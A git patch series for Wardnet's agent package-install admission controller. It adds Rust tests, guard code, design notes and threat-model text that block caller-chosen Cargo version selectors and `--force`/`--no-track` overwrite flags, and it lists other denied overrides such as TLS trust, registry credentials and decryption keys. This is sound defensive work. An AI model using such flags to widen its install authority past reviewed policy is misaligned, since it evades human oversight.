"cargo".to_string(), + "install".to_string(), + artifact_argument.to_string(), + version_selector.to_string(), + "--locked".to_string(), + ], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected Cargo version selector {version_selector} must not override reviewed artifact identity" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "unreviewed Cargo version selection must report artifact_not_approved" + ); + } +} + +#[test] +fn cargo_positional_package_version_must_match_reviewed_coordinate() { + let artifact_argument = "cwl-example@9.9.9"; + let policy = approved_cargo_policy("1.2.3", artifact_argument); + let intent = approved_cargo_intent( + "1.2.3", + artifact_argument, + vec![ + "cargo".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--locked".to_string(), + ], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Cargo crate@version syntax must remain semantically bound to the reviewed name/version coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "invalid_artifact"), + "coordinate/argv disagreement must fail structural artifact validation" + ); +} + +fn approved_cargo_policy(version: &str, artifact_argument: &str) -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-version-identity-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: version.to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} + +fn approved_cargo_intent( + version: &str, + artifact_argument: &str, + argv: Vec, +) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-version-identity".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: version.to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} From de5bc32b221e1a71d89f2ead41af62299062736b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:33:59 +0900 Subject: [PATCH 197/247] test(admission): align Cargo identity reason --- .../tests/cargo_version_identity_contract.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs index 71e7ca3a..349ca25d 100644 --- a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs @@ -68,8 +68,8 @@ fn cargo_positional_package_version_must_match_reviewed_coordinate() { decision .reason_codes .iter() - .any(|reason| reason.as_str() == "invalid_artifact"), - "coordinate/argv disagreement must fail structural artifact validation" + .any(|reason| reason.as_str() == "artifact_not_approved"), + "coordinate/argv disagreement must fail with artifact_not_approved" ); } From a19326641bcf23fe0fd04b44df568785fd77c582 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:34:27 +0900 Subject: [PATCH 198/247] fix(admission): bind Cargo version identity --- .../src/artifact_variant.rs | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index 28dcc54e..f8f8d303 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -5,6 +5,7 @@ use crate::InstallIntent; pub(crate) fn requests_unapproved_artifact_variant(intent: &InstallIntent) -> bool { requests_unapproved_oci_artifact_variant(intent) || requests_unapproved_pypi_artifact_variant(intent) + || requests_unapproved_cargo_artifact_variant(intent) } /// Return whether an OCI pull asks the client to expand or select artifact @@ -42,6 +43,39 @@ fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { }) } +/// Cargo accepts both `crate@version` and `--version`/`--vers` selectors. The +/// admission coordinate already carries one exact reviewed version, so the CLI +/// must encode that same identity rather than letting the caller select another. +fn requests_unapproved_cargo_artifact_variant(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "cargo" { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + if arguments + .iter() + .skip(1) + .any(|argument| matches_value_flag(argument, "--version") || matches_value_flag(argument, "--vers")) + { + return true; + } + + intent.artifacts.iter().any(|artifact| { + artifact.ecosystem == "cargo" + && artifact.artifact_argument != format!("{}@{}", artifact.name, artifact.version) + }) +} + /// Pip-compatible installers can select a wheel compatibility target or /// force/configure a source build independently of the approved name/version /// coordinate. Until policy carries that artifact/build identity, caller- From d26890854c5dc6f8c76c859655cc1fd861405fe8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:34:58 +0900 Subject: [PATCH 199/247] style(admission): format Cargo selector guard --- crates/agent-artifact-admission/src/artifact_variant.rs | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index f8f8d303..6444e23a 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -62,11 +62,9 @@ fn requests_unapproved_cargo_artifact_variant(intent: &InstallIntent) -> bool { return false; } - if arguments - .iter() - .skip(1) - .any(|argument| matches_value_flag(argument, "--version") || matches_value_flag(argument, "--vers")) - { + if arguments.iter().skip(1).any(|argument| { + matches_value_flag(argument, "--version") || matches_value_flag(argument, "--vers") + }) { return true; } From aa24fb90bec30866f7d09f89cff88c493627d380 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:35:29 +0900 Subject: [PATCH 200/247] docs(admission): trace Cargo version authority --- ...argo-install-artifact-version-authority.md | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 docs/doctoring/cargo-install-artifact-version-authority.md diff --git a/docs/doctoring/cargo-install-artifact-version-authority.md b/docs/doctoring/cargo-install-artifact-version-authority.md new file mode 100644 index 00000000..263457a2 --- /dev/null +++ b/docs/doctoring/cargo-install-artifact-version-authority.md @@ -0,0 +1,30 @@ +# Cargo install artifact-version authority + +Verified 2026-09-04 against the current Cargo Book. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for Cargo installs; it does not make Wardnet a Cargo resolver or execution authority. + +## Problem + +`InstallIntent.artifacts` and `AdmissionPolicy.approved_artifacts` already carry an exact reviewed Cargo package name, version, registry, owner, SHA-256, and argv operand. Cargo independently permits version selection through both `crate@version` operands and `--vers` / `--version`. If Wardnet accepted a bare crate operand plus a caller-selected version flag, or accepted `crate@other-version` while the reviewed coordinate named another version, the executable could select artifact bytes outside the reviewed identity even though the policy object still reported the approved version. + +## Decision + +For the current Cargo admission profile: + +- the artifact operand must be exactly `name@version` for the reviewed Cargo coordinate; +- caller-supplied `--vers` and `--version` are rejected as unapproved artifact-identity selectors; +- source, feature, target, profile, binary/example, install-root, and inline-config selectors remain separately fail-closed under their existing controls; +- Wardnet still does not fetch, build, install, or verify retrieved crate bytes. The executor remains responsible for digest/provenance verification before execution. + +This is intentionally narrower than reproducing Cargo's resolver. The admission boundary compares a submitted capability to reviewed authority and rejects alternate selection authority. + +## RED → GREEN evidence + +RED `4484acd2f7c9609ab16ddc68a748cac6cd49b51d` added hostile cases demonstrating that a reviewed `1.2.3` coordinate could otherwise be paired with `--version=9.9.9`, `--vers=9.9.9`, or a mismatched `crate@9.9.9` operand. The production repair in the current lineage routes these conditions through the existing `artifact_not_approved` fail-closed result. + +## Primary-source trace + +The Cargo Book documents the `cargo install [options] crate[@version]…` syntax and separately documents `--vers version` / `--version version` as version selectors. It states that a version with no requirement operator in MAJOR.MINOR.PATCH form installs exactly that version. This makes version selection part of artifact identity rather than an inert presentation option. + +## APA 7 reference + +Rust Project Developers. (2026). *cargo install—The Cargo Book*. Retrieved September 4, 2026, from https://doc.rust-lang.org/cargo/commands/cargo-install.html From 6fe642f454b912fb618f30849d8fb410b8b7b5a3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:39:30 +0900 Subject: [PATCH 201/247] test(admission): isolate Cargo version selector --- .../tests/cargo_version_identity_contract.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs index 349ca25d..770b317b 100644 --- a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs @@ -11,7 +11,7 @@ const ARTIFACT_SHA256: &str = #[test] fn cargo_version_selector_cannot_override_reviewed_artifact_version() { for version_selector in ["--version=9.9.9", "--vers=9.9.9"] { - let artifact_argument = "cwl-example"; + let artifact_argument = "cwl-example@1.2.3"; let policy = approved_cargo_policy("1.2.3", artifact_argument); let intent = approved_cargo_intent( "1.2.3", From 4c5883decdfb89c8197fd5183cff948d6d2b34a2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 23:59:53 +0900 Subject: [PATCH 202/247] test(admission): reject Cargo overwrite authority --- .../cargo_overwrite_authority_contract.rs | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs new file mode 100644 index 00000000..ae36e527 --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs @@ -0,0 +1,93 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; + +#[test] +fn cargo_overwrite_and_tracking_overrides_require_separate_review_authority() { + // Cargo documents --force as permitting overwrite of existing crates/binaries + // and --no-track as disabling install metadata and concurrent-install protection. + // Neither side effect is represented by the approved artifact coordinate. + for unreviewed_mutation in [vec!["--force"], vec!["-f"], vec!["--no-track"]] { + let policy = approved_cargo_policy(); + let mut argv = vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]; + argv.extend( + unreviewed_mutation + .iter() + .map(|value| (*value).to_string()), + ); + let intent = approved_cargo_intent(argv); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected Cargo mutation authority {unreviewed_mutation:?} must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "overwrite/tracking authority must use the stable artifact_not_approved reason: {unreviewed_mutation:?}" + ); + } +} + +fn approved_cargo_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-overwrite-authority-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} + +fn approved_cargo_intent(argv: Vec) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-overwrite-authority".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} From 76823b8858f33655d4c4107cd2b820fd5fb2572a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:00:57 +0900 Subject: [PATCH 203/247] fix(admission): classify Cargo overwrite authority --- .../src/cargo_install_authority.rs | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 crates/agent-artifact-admission/src/cargo_install_authority.rs diff --git a/crates/agent-artifact-admission/src/cargo_install_authority.rs b/crates/agent-artifact-admission/src/cargo_install_authority.rs new file mode 100644 index 00000000..9c331529 --- /dev/null +++ b/crates/agent-artifact-admission/src/cargo_install_authority.rs @@ -0,0 +1,38 @@ +use crate::InstallIntent; + +/// Return whether a Cargo install asks for mutation authority that is not +/// represented by the reviewed artifact coordinate. +pub(crate) fn requests_unapproved_cargo_install_mutation(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "cargo" + || !intent + .argv + .get(1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + intent.argv.iter().skip(2).any(|argument| { + matches_cli_flag(argument, "-f") + || matches_cli_flag(argument, "--force") + || matches_cli_flag(argument, "--no-track") + }) +} + +fn matches_cli_flag(argument: &str, flag: &str) -> bool { + if argument == flag { + return true; + } + let Some(suffix) = argument.strip_prefix(flag) else { + return false; + }; + suffix.starts_with('=') || (is_short_cli_flag(flag) && !suffix.is_empty()) +} + +fn is_short_cli_flag(flag: &str) -> bool { + let bytes = flag.as_bytes(); + bytes.len() == 2 && bytes[0] == b'-' && bytes[1] != b'-' +} From c35f646db12104bcd8bc63c5773c0c62621ccc34 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:01:15 +0900 Subject: [PATCH 204/247] fix(admission): fail closed on Cargo overwrite authority --- crates/agent-artifact-admission/src/lib.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 8e21fd77..73f64c73 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -3,6 +3,7 @@ mod admission; mod artifact_variant; mod audit; +mod cargo_install_authority; mod config; mod dependency_cardinality; mod http; @@ -36,6 +37,12 @@ pub fn admission_decision( } decision.decision = DecisionKind::Block; } + if cargo_install_authority::requests_unapproved_cargo_install_mutation(intent) { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if dependency_cardinality::misses_exact_dependency_set_guard(intent) { if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); From 46fae7c3ed4148c2a3b9df723837f0605f0ce8ca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:01:51 +0900 Subject: [PATCH 205/247] docs(security): trace Cargo overwrite authority --- .../cargo-install-overwrite-authority.md | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 docs/doctoring/cargo-install-overwrite-authority.md diff --git a/docs/doctoring/cargo-install-overwrite-authority.md b/docs/doctoring/cargo-install-overwrite-authority.md new file mode 100644 index 00000000..6459d9d5 --- /dev/null +++ b/docs/doctoring/cargo-install-overwrite-authority.md @@ -0,0 +1,34 @@ +# Cargo install overwrite and tracking authority + +Verified 2026-09-04 against the current Cargo Book. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for Cargo mutation semantics; it does not make Wardnet an installer or filesystem authority. + +## Problem + +A reviewed Cargo artifact coordinate authorizes one exact package identity. It does not authorize the caller to widen the install's mutation semantics after review. Cargo documents `-f` / `--force` as authority to overwrite existing crates or binaries, including binaries owned by another package. Cargo also documents `--no-track` as disabling installed-package metadata and Cargo's protection against concurrent install invocations. Those effects can overwrite an existing executable or remove collision/concurrency safeguards without changing the submitted package coordinate. + +For an agent-facing pre-execution admission boundary, treating those switches as ordinary presentation flags would let untrusted argv acquire filesystem mutation authority absent from the reviewed policy. + +## Decision + +For the current Cargo admission profile: + +- caller-supplied `-f` / `--force` fails closed as `artifact_not_approved`; +- caller-supplied `--no-track` fails closed as `artifact_not_approved`; +- the rule applies only to `cargo install`; other Cargo commands remain outside the supported command grammar; +- Wardnet does not decide which existing binary may be replaced, manage the Cargo install root, execute Cargo, or provide runtime concurrency isolation. Any future overwrite/metadata exception requires an explicit versioned policy capability and downstream executor controls. + +The existing exact package/version/source/build/install-root controls remain independent. This rule adds no Cargo resolver behavior; it simply prevents the caller from adding destructive or tracking-bypass authority that is absent from the reviewed intent. + +## RED → GREEN evidence + +RED `4c5883decdfb89c8197fd5183cff948d6d2b34a2` adds hostile `--force`, `-f`, and `--no-track` requests to the approved Cargo-install contract. The pre-repair evaluator had no rule that classified those switches as unreviewed authority. The production repair is split into helper introduction `76823b8858f33655d4c4107cd2b820fd5fb2572a` and admission wiring `c35f646db12104bcd8bc63c5773c0c62621ccc34`, which routes all three forms through the existing `artifact_not_approved` fail-closed result. + +Repository-hosted execution remains required on the exact current head because the organization runner control plane is presently queue-starved; predecessor check conclusions do not transfer. + +## Primary-source trace + +The Cargo Book states that `-f` / `--force` forces overwriting existing crates or binaries and can be used when another package already installed a binary with the same name. It also states that `--no-track` disables the installed-package metadata file and Cargo's ability to protect against multiple concurrent install invocations. Both therefore alter mutation/collision semantics rather than merely formatting output. + +## APA 7 reference + +Rust Project Developers. (2026). *cargo install—The Cargo Book*. Retrieved September 4, 2026, from https://doc.rust-lang.org/cargo/commands/cargo-install.html From a13afe2cf5f817eee33bd8296baafbd4cc09bb25 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:02:08 +0900 Subject: [PATCH 206/247] docs(changelog): record Cargo overwrite guard --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c4c10800..5f4179c2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared PyPI dependency resolution: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs require both `--ignore-scripts` and `--ignore-pnpmfile`; admitted pip, pip3, and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. - Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. @@ -15,5 +16,5 @@ ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 213987c2a5a67bccd4f5819a2236819936a4dc29 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:02:33 +0900 Subject: [PATCH 207/247] docs(security): model Cargo overwrite authority --- docs/security/agent-artifact-admission-threat-model.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 99ced548..52c0d395 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -6,7 +6,7 @@ A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -16,11 +16,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, or decrypt images; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/dependency-cardinality/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, decrypt images, or decide filesystem overwrite authority; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/destructive-mutation/dependency-cardinality/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. ## Primary references @@ -38,9 +38,9 @@ SHA-256 equality proves byte identity only when the execution path independently - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs - pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. 